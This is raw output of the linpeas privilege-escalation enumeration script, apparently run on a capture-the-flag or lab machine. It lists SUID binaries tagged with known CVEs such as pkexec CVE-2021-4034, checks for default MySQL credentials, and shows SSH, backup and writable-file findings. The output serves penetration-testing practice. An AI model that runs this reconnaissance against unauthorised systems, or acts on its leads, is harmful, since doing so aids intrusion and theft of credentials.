╔══════════╣ Analyzing Windows Files (limit 70)
                                                                               





















lrwxrwxrwx 1 root root 20 Mar 26  2021 /etc/alternatives/my.cnf -&amp;gt; /etc/mysql/mysql.cnf
lrwxrwxrwx 1 root root 24 Mar 26  2021 /etc/mysql/my.cnf -&amp;gt; /etc/alternatives/my.cnf                                                                          
-rw-r--r-- 1 root root 81 Mar 26  2021 /var/lib/dpkg/alternatives/my.cnf




-rw-r--r-- 1 root root 473741 Jun 25  2014 /usr/share/gutenprint/5.2/xml/printers.xml                                                                         


























╔══════════╣ Searching mysql credentials and exec
Found readable /etc/mysql/my.cnf                                               
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mysql.conf.d/

╔══════════╣ MySQL version
mysql  Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using  EditLine wrapper    


═╣ MySQL connection using default root/root ........... No
═╣ MySQL connection using root/toor ................... No                     
═╣ MySQL connection using root/NOPASS ................. No                     
                                                                               
MySQL is running as user &amp;#39;mysql&amp;#39; with version 5.7.30.
╔══════════╣ Analyzing PGP-GPG Files (limit 70)
/usr/bin/gpg                                                                   
netpgpkeys Not Found
netpgp Not Found                                                               
                                                                               
-rw-r--r-- 1 root root 20939 Mar 24  2021 /etc/apt/trusted.gpg
-rw-r--r-- 1 root root 5138 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
-rw-r--r-- 1 root root 5147 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
-rw-r--r-- 1 root root 2775 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
-rw-r--r-- 1 root root 7483 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
-rw-r--r-- 1 root root 7492 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
-rw-r--r-- 1 root root 2275 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
-rw-r--r-- 1 root root 3780 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg
-rw-r--r-- 1 root root 2851 Jun 18  2017 /etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg
-rw------- 1 asta asta 0 Apr  7  2021 /home/asta/.gnupg/pubring.gpg
-rw------- 1 asta asta 0 Apr  7  2021 /home/asta/.gnupg/secring.gpg
-rw------- 1 asta asta 40 Apr  7  2021 /home/asta/.gnupg/trustdb.gpg
-rw-r--r-- 1 root root 36941 Jun 18  2017 /usr/share/keyrings/debian-archive-keyring.gpg
-rw-r--r-- 1 root root 17538 Jun 18  2017 /usr/share/keyrings/debian-archive-removed-keys.gpg
-rw-r--r-- 1 root root 1652 Jul  6  2019 /var/lib/apt/lists/ftp.us.debian.org_debian_dists_jessie_Release.gpg
-----BEGIN PGP SIGNATURE-----
iQIzBAABCAAdFiEEEmwNJL2KKULMffisdjjQRCuQ0BAFAl0ga7cACgkQdjjQRCuQ
0BA6SQ//XcX8Ht+5nd5TQi468rLb26Gn5VD2iZOcnQmZksR7ny06o0Q+CHoQQqvW
fdRnhH5zVdj1ivcnhQ8ihgCNQILWFcgUgKSlbcSdYvzlJnj6adVboXLkm+Sslght
B/oEI8DLuMA8EhENbyjJ2/0vcTwuj4xaZAAO/Tri+NX55+xt7SbV8u4rfGPgOLlq
7Y54kldHLHM+cFVLTVA2IwfjaNGwoOWkenygH1vroxBiUf0h1CaLDNq4yPo4TSDK
Z24Eb8NWAyjnNdrQ9J0D2qJXXhjfnVXkeUeAIr+LAcmECAo4EnNrDQYt1jsL5An7
VWdTQw6E21jWzgMAqB6IqjsG1R/rlqoE8YtDnl2XiQdvJrhxQ/AR5zLh8fPuirea
2pgsH65DSTTob6Ie6tdWmDTEarRHSMu87a9oaNdBDLecESbXtRqG8ULtI/O3Ygxi
UrjdAsk+eQ0vfCDcWOL4l83yFVIFY/lwmeySriN1rrCFuyl+1QrGtPyFst3zoN0q
nyTdO6MdHU909fKozfYvEoke9G0DCI1N0xiqupO7Csm4yMaUPIdqpe5H67AggD4d
dqY76jk9coCNsAqy5zoi1xSoXDaTl8XjQlmVj7Tx+f2hNTw+16dm0j8Mppt49gw7
Qp8yEkO/nz5+iefSeZpMd4wYmwek3/C0hN4cBfETKVB+63rfAcs=
=37TE
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAABAgAGBQJdIG1VAAoJEMv41v1RjhfhpkEQAJH/1MMBBRqroekA3xcegY3n
DHTcTWzDD1ioYhVGBp7tu1y1fLkGUcHOUxb05py4oTN16QsNBNzHJRrw6YMYqEB3
dOsJ3tkgnXb4+Jd7r95Pt1o6pso8w4yHICpTUTCCwrkSNUxdFeeuuqGDONl36XK/
saGc/AzfuN0d/xhYzAode7wCc/iBhffZ01JZiwXD+DBuvZCVYn1HHdU78iCOcAgd
DG65m0Y1iQGdDXUuvSkznGFxpMmPhOjHod9+9ZdUx0BbdAX6PblHGtHSgAUQkAEd
5wMERA8X1w2j8nUivAYQ/IzI6lhlfl7c0sg0rF8z6mwxyiEL2gRzNgLnwekn7PEk
Ef+lMnVFIzMnSZUgBhvSgP2V5WNLPavPxtaXxlBchbfEDqNOHBu3qeezVsK+ne4B
BZTlbO9XzMveQjRWNADb8rzzF8QIYcjP1v2JPB/gJIK7HPRAzKs/tvyDXUe8hYdA
Sjs1BKk73/W6DlrOCJRwl/+NvoaN/pfDjf6T/ftI1P2eZuDDH6BOX6HhPHd+Puvb
tkasi14UCs7gjJu9PI5bM5tGUIeykuUQHuHoscIo0HKkgSaurihNuLB89jbMb9uX
EvkrLDeZxgxfbc/sHfbBqKzXK+GatEB+qA3OQKm0np4G1DI3Jr++g0jttaAgwzE7
9njHtrdklIBMMG34aHKf
=KdZN
-----END PGP SIGNATURE-----


drwx------ 2 asta asta 4096 Dec 14 02:55 /home/asta/.gnupg

╔══════════╣ Searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd                                                 
passwd file: /etc/passwd
passwd file: /usr/share/bash-completion/completions/passwd
passwd file: /usr/share/lintian/overrides/passwd

╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)                                    
                                                                               




-rw-r--r-- 1 root root 601 Mar 17  2021 /etc/ssh/ssh_host_dsa_key.pub
-rw-r--r-- 1 root root 173 Mar 17  2021 /etc/ssh/ssh_host_ecdsa_key.pub
-rw-r--r-- 1 root root 93 Mar 17  2021 /etc/ssh/ssh_host_ed25519_key.pub
-rw-r--r-- 1 root root 393 Mar 17  2021 /etc/ssh/ssh_host_rsa_key.pub

Port 22
PermitRootLogin without-password
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes

══╣ Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml

══╣ Some certificates were found (out limited):
/etc/ssl/certs/ACCVRAIZ1.pem                                                   
/etc/ssl/certs/AC_Raíz_Certicámara_S.A..pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/AddTrust_External_Root.pem
/etc/ssl/certs/AddTrust_Low-Value_Services_Root.pem
/etc/ssl/certs/AffirmTrust_Commercial.pem
/etc/ssl/certs/AffirmTrust_Networking.pem
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
/etc/ssl/certs/AffirmTrust_Premium.pem
/etc/ssl/certs/Amazon_Root_CA_1.pem
/etc/ssl/certs/Amazon_Root_CA_2.pem
/etc/ssl/certs/Amazon_Root_CA_3.pem
/etc/ssl/certs/Amazon_Root_CA_4.pem
/etc/ssl/certs/Atos_TrustedRoot_2011.pem
/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
/etc/ssl/certs/ca-certificates.crt
1403PSTORAGE_CERTSBIN

══╣ Some home ssh config file was found
/usr/share/doc/openssh-client/examples/sshd_config                             
AuthorizedKeysFile      .ssh/authorized_keys
UsePrivilegeSeparation sandbox          # Default for new installations.
Subsystem       sftp    /usr/libexec/sftp-server

══╣ /etc/hosts.allow file found, trying to read the rules:
/etc/hosts.allow                                                               


Searching inside /etc/ssh/ssh_config for interesting info
Host *
    SendEnv LANG LC_*
    HashKnownHosts yes
    GSSAPIAuthentication yes
    GSSAPIDelegateCredentials no




                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                                                            
                      ╚════════════════════════════════════╝                   
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                                                               
strings Not Found                                                              
strace Not Found                                                               
-rwsr-xr-x 1 root root 89K Oct 19  2019 /sbin/mount.nfs                        
-rwsr-xr-x 1 root root 27K Mar 29  2015 /bin/umount  ---&amp;gt;  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 143K Mar 22  2019 /bin/ntfs-3g  ---&amp;gt;  Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)                         
-rwsr-xr-x 1 root root 40K May 17  2017 /bin/su
-rwsr-xr-x 1 root root 35K Aug 15  2018 /bin/fusermount
-rwsr-xr-x 1 root root 40K Mar 29  2015 /bin/mount  ---&amp;gt;  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                       
-rwsr-xr-- 1 root dip 326K Feb  9  2020 /usr/sbin/pppd  ---&amp;gt;  Apple_Mac_OSX_10.4.8(05-2007)                                                                   
-rwsr-xr-x 1 root root 1012K May 16  2020 /usr/sbin/exim4
-rwsr-xr-x 1 root root 44K May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 53K May 17  2017 /usr/bin/chfn  ---&amp;gt;  SuSE_9.3/10
-rwsr-sr-x 1 root mail 88K Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 155K Feb  1  2020 /usr/bin/sudo  ---&amp;gt;  check_if_the_sudo_version_is_vulnerable                                                         
-rwsr-sr-x 1 daemon daemon 55K Sep 30  2014 /usr/bin/at  ---&amp;gt;  RTru64_UNIX_4.0g(CVE-2002-1614)                                                                
-rwsr-xr-x 1 root root 53K May 17  2017 /usr/bin/passwd  ---&amp;gt;  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)        
-rwsr-sr-x 1 root root 9.9K Apr  1  2014 /usr/bin/X
-rwsr-xr-x 1 root root 39K May 17  2017 /usr/bin/newgrp  ---&amp;gt;  HP-UX_10.20
-rwsr-xr-x 1 root root 23K Jan 28  2019 /usr/bin/pkexec  ---&amp;gt;  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034                
-rwsr-xr-x 1 root root 74K May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 9.9K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 15K Jan 28  2019 /usr/lib/policykit-1/polkit-agent-helper-1                                                                            
-rwsr-xr-x 1 root root 14K Aug 31  2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper (Unknown SUID binary!)                                            
-rwsr-xr-x 1 root root 455K Mar 25  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 292K Jun  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                                    

╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                                                               
-rwxr-sr-x 1 root shadow 35K May 27  2017 /sbin/unix_chkpwd                    
-rwxr-sr-x 1 root crontab 36K Mar 21  2019 /usr/bin/crontab
-rwsr-sr-x 1 root mail 88K Nov 18  2017 /usr/bin/procmail
-rwxr-sr-x 1 root mail 11K Jun 30  2020 /usr/bin/mutt_dotlock
-rwsr-sr-x 1 daemon daemon 55K Sep 30  2014 /usr/bin/at  ---&amp;gt;  RTru64_UNIX_4.0g(CVE-2002-1614)                                                                
-rwsr-sr-x 1 root root 9.9K Apr  1  2014 /usr/bin/X
-rwxr-sr-x 1 root ssh 339K Mar 25  2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 61K May 17  2017 /usr/bin/chage
-rwxr-sr-x 1 root shadow 23K May 17  2017 /usr/bin/expiry
-rwxr-sr-x 1 root mail 19K Nov 18  2017 /usr/bin/lockfile
-rwxr-sr-x 1 root tty 15K Oct 17  2014 /usr/bin/bsd-write
-rwxr-sr-x 1 root mail 15K Jun  2  2013 /usr/bin/dotlockfile
-rwxr-sr-x 1 root tty 27K Mar 29  2015 /usr/bin/wall
-rwxr-sr-x 1 root mlocate 35K Jun 13  2013 /usr/bin/mlocate
-rwxr-sr-x 1 root utmp 6.9K Feb 21  2011 /usr/lib/utempter/utempter
-rwxr-sr-x 1 root utmp 15K Dec  5  2014 /usr/lib/libvte-2.91-0/gnome-pty-helper
-rwxr-sr-x 1 root mail 15K Jul 25  2018 /usr/lib/evolution/camel-lock-helper-1.2                                                                              
-rwxr-sr-x 1 root utmp 15K Jun 23  2014 /usr/lib/libvte-2.90-9/gnome-pty-helper

╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls                                                                        
files with acls in searched folders Not Found                                  
                                                                               
╔══════════╣ Capabilities
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities                                                                
══╣ Current shell capabilities                                                 
./linpeas.sh: 7794: ./linpeas.sh: [[: not found                                
CapInh:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapPrm:  [Invalid capability format]
./linpeas.sh: 7785: ./linpeas.sh: [[: not found
CapEff:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapBnd:  [Invalid capability format]

╚ Parent process capabilities
./linpeas.sh: 7819: ./linpeas.sh: [[: not found                                
CapInh:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapPrm:  [Invalid capability format]
./linpeas.sh: 7810: ./linpeas.sh: [[: not found
CapEff:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapBnd:  [Invalid capability format]


Files with capabilities (limited to 50):
/bin/ping = cap_net_raw+ep
/bin/ping6 = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/arping = cap_net_raw+ep

╔══════════╣ Checking misconfigurations of ld.so
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso                                                                        
/etc/ld.so.conf                                                                
Content of /etc/ld.so.conf:                                                    
include /etc/ld.so.conf.d/*.conf

/etc/ld.so.conf.d
  /etc/ld.so.conf.d/libc.conf                                                  
  - /usr/local/lib                                                             
  /etc/ld.so.conf.d/x86_64-linux-gnu.conf
  - /lib/x86_64-linux-gnu                                                      
  - /usr/lib/x86_64-linux-gnu

/etc/ld.so.preload
╔══════════╣ Files (scripts) in /etc/profile.d/                                
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files                                                              
total 28                                                                       
drwxr-xr-x   2 root root  4096 Mar 17  2021 .
drwxr-xr-x 141 root root 12288 Dec 14 02:28 ..
-rw-r--r--   1 root root   663 Mar 22  2014 bash_completion.sh
-rw-r--r--   1 root root  1940 Dec  5  2014 vte-2.91.sh
-rw-r--r--   1 root root  1881 Jun 23  2014 vte.sh

╔══════════╣ Permissions in init, init.d, systemd, and rc.d
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd                                                  
                                                                               
╔══════════╣ AppArmor binary profiles
-rw-r--r-- 1 root root  445 May 19  2019 usr.sbin.cups-browsed                 
-rw-r--r-- 1 root root 4959 Jun  7  2020 usr.sbin.cupsd

═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ No                                   
═╣ Credentials in fstab/mtab? ........... No                                   
═╣ Can I read shadow files? ............. No                                   
═╣ Can I read shadow plists? ............ No                                   
═╣ Can I write shadow plists? ........... No                                   
═╣ Can I read opasswd file? ............. No                                   
═╣ Can I write in network-scripts? ...... No                                   
═╣ Can I read root folder? .............. No                                   
                                                                               
╔══════════╣ Searching root files in home dirs (limit 30)
/home/                                                                         
/home/asta/.bash_history
/home/asta/local.txt
/root/
/var/www
/var/www/html
/var/www/html/status-admin
/var/www/html/index.html
/var/www/html/status
/var/www/html/website
/var/www/html/website/LICENSE
/var/www/html/website/styles
/var/www/html/website/styles/style.css
/var/www/html/website/index.html
/var/www/html/website/robots.txt
/var/www/html/website/README.md
/var/www/html/website/scripts
/var/www/html/website/scripts/script.js
/var/www/html/website/images
/var/www/html/website/images/.DS_Store
/var/www/html/website/images/christina-wocintechchat-com-unsplash-2.jpg
/var/www/html/website/images/parker-johnson-unsplash.jpg
/var/www/html/website/images/joanna-nix-unsplash.jpg
/var/www/html/website/images/makson-serpa-unsplash.jpg
/var/www/html/website/images/favicon.ico
/var/www/html/website/images/christina-wocintechchat-com-unsplash-1.jpg
/var/www/html/website/images/agung-rusdy-unsplash.jpg
/var/www/html/robots.txt
/var/www/html/CFIDE
/var/www/html/CFIDE/Administrator

╔══════════╣ Searching folders owned by me containing others files on it (limit 100)                                                                          
-rw-r--r-- 1 root root 941 Mar 26  2021 /home/asta/local.txt                   

╔══════════╣ Readable files belonging to root and readable by me but not world readable                                                                       
-rw-r----- 1 root dip 656 Mar 17  2021 /etc/chatscripts/provider               
-rw-r----- 1 root dip 1093 Mar 17  2021 /etc/ppp/peers/provider

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)                                                           
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files                                                              
/dev/mqueue                                                                    
/dev/shm
/home/asta
/run/lock
/run/user/1000
/run/user/1000/systemd
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas.sh
/tmp/.Test-unix
/tmp/.X11-unix
#)You_can_write_even_more_files_inside_last_directory

/var/lib/php5/sessions
/var/mail/asta
/var/tmp

╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files                                                              
  Group lpadmin:                                                               
/usr/share/ppd/custom                                                          



                            ╔═════════════════════════╗
════════════════════════════╣ Other Interesting Files ╠════════════════════════════                                                                           
                            ╚═════════════════════════╝                        
╔══════════╣ .sh files in path
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path                                                      
/usr/bin/gettext.sh                                                            

╔══════════╣ Executable files potentially added by user (limit 70)
2025-12-14+02:54:41.2890280980 /tmp/linpeas.sh                                 

╔══════════╣ Unexpected in /opt (usually empty)
total 12                                                                       
drwxr-xr-x  3 root root 4096 Mar 24  2021 .
drwxr-xr-x 22 root root 4096 Mar 24  2021 ..
drwxr-xr-x  2 root root 4096 Mar 24  2021 black

╔══════════╣ Unexpected in root
/vmlinuz.old                                                                   
/initrd.img
/vmlinuz
/initrd.img.old

╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/etc/vmware-tools/tools.conf                                                   
/var/log/syslog
/var/log/messages
/var/log/kern.log
/var/log/daemon.log
/var/log/auth.log
/var/mail/asta

logrotate 3.8.7
╔══════════╣ Syslog configuration (limit 50)
                                                                               


$ModLoad imuxsock # provides support for local system logging
$ModLoad imklog   # provides kernel logging support





$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat

$FileOwner root
$FileGroup adm
$FileCreateMode 0640
$DirCreateMode 0755
$Umask 0022

$WorkDirectory /var/spool/rsyslog

$IncludeConfig /etc/rsyslog.d/*.conf



auth,authpriv.*                 /var/log/auth.log
*.*;auth,authpriv.none          -/var/log/syslog
daemon.*                        -/var/log/daemon.log
kern.*                          -/var/log/kern.log
lpr.*                           -/var/log/lpr.log
mail.*                          -/var/log/mail.log
user.*                          -/var/log/user.log

mail.info                       -/var/log/mail.info
mail.warn                       -/var/log/mail.warn
mail.err                        /var/log/mail.err

news.crit                       /var/log/news/news.crit
news.err                        /var/log/news/news.err
news.notice                     -/var/log/news/news.notice

*.=debug;\
        auth,authpriv.none;\
        news.none;mail.none     -/var/log/debug
*.=info;*.=notice;*.=warn;\
        auth,authpriv.none;\
        cron,daemon.none;\
        mail,news.none          -/var/log/messages

*.emerg                         :omusrmsg:*

╔══════════╣ Auditd configuration (limit 50)
auditd configuration Not Found                                                 
╔══════════╣ Log files with potentially weak perms (limit 50)                  
306415   72 -rw-r-----   1 root     adm         71073 Mar 26  2021 /var/log/apt/term.log.1.gz                                                                 
264066    0 -rw-r-----   1 root     adm             0 Dec 14 01:02 /var/log/apt/term.log                                                                      
264082  612 -rw-r-----   1 root     adm        624171 Dec 14 02:55 /var/log/syslog                                                                            
264677  176 -rw-r-----   1 root     adm        172922 Dec 14 00:57 /var/log/debug.1                                                                           
306426  372 -rw-r-----   1 root     adm        377354 Dec 14 02:55 /var/log/messages                                                                          
264672  504 -rw-r-----   1 root     adm        510602 Dec 14 01:02 /var/log/daemon.log.1                                                                      
306405  392 -rw-r-----   1 root     adm        400650 Dec 14 02:55 /var/log/kern.log                                                                          
264678 1196 -rw-r-----   1 root     adm       1217112 Dec 14 01:02 /var/log/messages.1                                                                        
264676  540 -rw-r-----   1 root     adm        545564 Dec 14 00:58 /var/log/user.log.1                                                                        
306424  124 -rw-r-----   1 root     adm        125253 Dec 14 02:28 /var/log/user.log                                                                          
262169   96 -rw-r-----   1 root     adm         94576 Dec 14 02:54 /var/log/daemon.log                                                                        
262171  148 -rw-r-----   1 root     adm        147631 Mar 24  2021 /var/log/messages.2.gz                                                                     
262178   52 -rw-r-----   1 root     adm         49873 Mar 24  2021 /var/log/user.log.2.gz                                                                     
263000    4 -rw-r-----   1 root     adm            31 Mar 17  2021 /var/log/fsck/checkfs                                                                      
262999    4 -rw-r-----   1 root     adm            31 Mar 17  2021 /var/log/fsck/checkroot                                                                    
262170    4 -rw-r-----   1 root     adm          2637 Mar 24  2021 /var/log/auth.log.2.gz                                                                     
262173    8 -rw-r-----   1 root     adm          7797 Mar 24  2021 /var/log/debug.2.gz                                                                        
306428    4 -rw-r-----   1 root     adm           939 Dec 14 01:26 /var/log/vsftpd.log                                                                        
264673  816 -rw-r-----   1 root     adm        831421 Dec 14 00:57 /var/log/kern.log.1                                                                        
262168 1084 -rw-r-----   1 root     adm       1102146 Dec 14 01:02 /var/log/syslog.1                                                                          
264675 1044 -rw-r-----   1 root     adm       1061921 Dec 14 00:57 /var/log/auth.log.1                                                                        
262172  104 -rw-r-----   1 root     adm        104663 Mar 24  2021 /var/log/kern.log.2.gz                                                                     
306422   80 -rw-r-----   1 root     adm         81469 Mar 27  2021 /var/log/syslog.2.gz                                                                       
262174    4 -rw-r-----   1 root     adm           112 Apr  7  2021 /var/log/cups/access_log.1                                                                 
262926    0 -rw-r-----   1 root     adm             0 Dec 14 01:02 /var/log/cups/access_log                                                                   
262175    0 -rw-r-----   1 root     adm             0 Mar 17  2021 /var/log/cups/error_log                                                                    
262176    0 -rw-r-----   1 root     adm             0 Mar 17  2021 /var/log/cups/page_log                                                                     
306423    8 -rw-r-----   1 root     adm          6531 Dec 14 02:55 /var/log/auth.log                                                                          
306425  148 -rw-r-----   1 root     adm        150689 Dec 14 02:28 /var/log/debug                                                                             
305821   56 -rw-r-----   1 root     adm         56171 Mar 26  2021 /var/log/syslog.3.gz                                                                       
305818   68 -rw-r-----   1 root     adm         61906 Dec 14 00:57 /var/log/ufw.log.1                                                                         
264671  160 -rw-r-----   1 root     adm        162113 Mar 19  2021 /var/log/syslog.5.gz                                                                       
262998    4 -rw-r-----   1 root     adm            31 Mar 17  2021 /var/log/dmesg                                                                             
306427    8 -rw-r-----   1 root     adm          4764 Dec 14 01:26 /var/log/ufw.log                                                                           
306404   52 -rw-r-----   1 root     adm         49858 Mar 24  2021 /var/log/daemon.log.2.gz                                                                   
305930   68 -rw-r-----   1 root     adm         68616 Mar 24  2021 /var/log/syslog.4.gz                                                                       

╔══════════╣ Files inside /home/asta (limit 20)
total 92                                                                       
drwx------ 17 asta asta 4096 Apr  7  2021 .
drwxr-xr-x  4 root root 4096 Mar 24  2021 ..
lrwxrwxrwx  1 root root    9 Mar 27  2021 .bash_history -&amp;gt; /dev/null
-rwx------  1 asta asta  220 Mar 17  2021 .bash_logout
-rwx------  1 asta asta 3515 Mar 17  2021 .bashrc
drwx------  7 asta asta 4096 Apr  7  2021 .cache
drwx------ 11 asta asta 4096 Apr  7  2021 .config
drwx------  3 asta asta 4096 Apr  7  2021 .dbus
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Desktop
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Documents
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Downloads
drwx------  3 asta asta 4096 Apr  7  2021 .gconf
drwx------  2 asta asta 4096 Dec 14 02:55 .gnupg
-rw-------  1 asta asta  318 Apr  7  2021 .ICEauthority
drwx------  3 asta asta 4096 Apr  7  2021 .local
-rw-r--r--  1 root root  941 Mar 26  2021 local.txt
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Music
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Pictures
-rwx------  1 asta asta  675 Mar 17  2021 .profile
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Public
drwx------  2 asta asta 4096 Apr  7  2021 .ssh
drwxr-xr-x  2 asta asta 4096 Apr  7  2021 Templates

╔══════════╣ Files inside others home (limit 20)
/var/www/html/status-admin                                                     
/var/www/html/index.html
/var/www/html/status
/var/www/html/website/LICENSE
/var/www/html/website/styles/style.css
/var/www/html/website/index.html
/var/www/html/website/robots.txt
/var/www/html/website/README.md
/var/www/html/website/scripts/script.js
/var/www/html/website/images/.DS_Store
/var/www/html/website/images/christina-wocintechchat-com-unsplash-2.jpg
/var/www/html/website/images/parker-johnson-unsplash.jpg
/var/www/html/website/images/joanna-nix-unsplash.jpg
/var/www/html/website/images/makson-serpa-unsplash.jpg
/var/www/html/website/images/favicon.ico
/var/www/html/website/images/christina-wocintechchat-com-unsplash-1.jpg
/var/www/html/website/images/agung-rusdy-unsplash.jpg
/var/www/html/robots.txt
/var/www/html/CFIDE/Administrator/login.php
/var/www/html/CFIDE/Administrator/css/swiper.min.css

╔══════════╣ Searching installed mail applications
exim                                                                           
sendmail

╔══════════╣ Mails (limit 50)
264050    4 -rw-rw----   1 asta     mail         1410 Dec 14 02:55 /var/mail/asta                                                                             
264050    4 -rw-rw----   1 asta     mail         1410 Dec 14 02:55 /var/spool/mail/asta                                                                       

╔══════════╣ Backup folders
drwxr-xr-x 3 root root 4096 Dec 14 01:02 /var/backups                          
total 4516
-rw-r--r-- 1 root root    112640 Mar 27  2021 alternatives.tar.0
-rw-r--r-- 1 root root      5332 Mar 24  2021 alternatives.tar.1.gz
-rw-r--r-- 1 root root      5174 Mar 17  2021 alternatives.tar.2.gz
-rw-r--r-- 1 root root     90988 Mar 26  2021 apt.extended_states.0
-rw-r--r-- 1 root root     10055 Mar 24  2021 apt.extended_states.1.gz
-rw-r--r-- 1 root root      9897 Mar 19  2021 apt.extended_states.2.gz
-rw-r--r-- 1 root root      9894 Mar 17  2021 apt.extended_states.3.gz
-rw-r--r-- 1 root root      9826 Mar 17  2021 apt.extended_states.4.gz
-rw-r--r-- 1 root root      1153 Mar 19  2021 dpkg.diversions.0
-rw-r--r-- 1 root root       357 Mar 19  2021 dpkg.diversions.1.gz
-rw-r--r-- 1 root root       357 Mar 19  2021 dpkg.diversions.2.gz
-rw-r--r-- 1 root root       357 Mar 19  2021 dpkg.diversions.3.gz
-rw-r--r-- 1 root root       318 Mar 17  2021 dpkg.diversions.4.gz
-rw-r--r-- 1 root root       318 Mar 17  2021 dpkg.diversions.5.gz
-rw-r--r-- 1 root root       378 Mar 17  2021 dpkg.statoverride.0
-rw-r--r-- 1 root root       245 Mar 17  2021 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root       245 Mar 17  2021 dpkg.statoverride.2.gz
-rw-r--r-- 1 root root       245 Mar 17  2021 dpkg.statoverride.3.gz
-rw-r--r-- 1 root root       245 Mar 17  2021 dpkg.statoverride.4.gz
-rw-r--r-- 1 root root       245 Mar 17  2021 dpkg.statoverride.5.gz
-rw-r--r-- 1 root root   1787525 Mar 26  2021 dpkg.status.0
-rw-r--r-- 1 root root    507747 Mar 26  2021 dpkg.status.1.gz
-rw-r--r-- 1 root root    505028 Mar 24  2021 dpkg.status.2.gz
-rw-r--r-- 1 root root    494057 Mar 19  2021 dpkg.status.3.gz
-rw-r--r-- 1 root root    493449 Mar 17  2021 dpkg.status.4.gz
-rw-r--r-- 1 root root    481299 Mar 17  2021 dpkg.status.5.gz
-rw------- 1 root root       991 Mar 26  2021 group.bak
-rw------- 1 root shadow     827 Mar 26  2021 gshadow.bak
-rw------- 1 root root      2343 Mar 26  2021 passwd.bak
drwxr-xr-x 2 root root      4096 Mar 27  2021 reminder
-rw------- 1 root shadow    1495 Mar 27  2021 shadow.bak

drwxr-xr-x 2 root root 4096 Jan 15  2016 /var/cache/dbconfig-common/backups
total 0

drwxr-xr-x 2 root root 4096 Mar 17  2021 /var/lib/firebird/2.5/backup
total 0
